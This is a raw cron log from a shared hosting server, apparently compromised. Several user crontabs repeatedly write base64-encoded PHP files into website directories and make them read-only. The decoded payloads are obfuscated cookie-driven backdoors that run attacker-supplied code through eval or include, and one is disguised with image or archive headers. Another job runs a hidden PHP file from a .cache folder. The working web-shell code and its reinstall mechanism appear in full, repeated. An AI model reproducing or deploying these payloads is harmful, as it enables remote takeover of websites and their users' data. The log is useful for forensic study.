Mar  2 07:01:01 medusa CROND[20152]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:01:01 medusa CROND[20157]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:01:01 medusa CROND[20144]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:01:01 medusa CROND[20168]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:02:01 medusa CROND[4465]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:02:01 medusa CROND[4466]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:02:01 medusa CROND[4467]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:02:01 medusa CROND[4468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:02:01 medusa CROND[4469]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:02:01 medusa CROND[4473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:02:01 medusa CROND[4478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:02:01 medusa CROND[4477]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:02:01 medusa CROND[4493]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:02:01 medusa CROND[4494]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  2 07:02:01 medusa CROND[4495]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:02:01 medusa CROND[4498]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:02:01 medusa CROND[4501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:02:01 medusa CROND[4496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:03:01 medusa CROND[22241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:03:01 medusa CROND[22363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:03:01 medusa CROND[22390]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:03:01 medusa CROND[22485]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:03:01 medusa CROND[22487]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:03:01 medusa CROND[22488]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:03:01 medusa CROND[22489]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:03:01 medusa CROND[22490]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:03:01 medusa CROND[22494]: (dvrwebcom) CMD (wget -O - -q -t 1 https://dvrweb.com.ar/cron/TFWp9Evg6VC1sv8IE8Na2W9fenvWY12YO3Y-d1qPcJK2Nfa2oj_gFfKbm5qAG6Ja8NZTvsgLfg > /dev/null)
Mar  2 07:03:01 medusa CROND[22504]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:03:01 medusa CROND[22505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
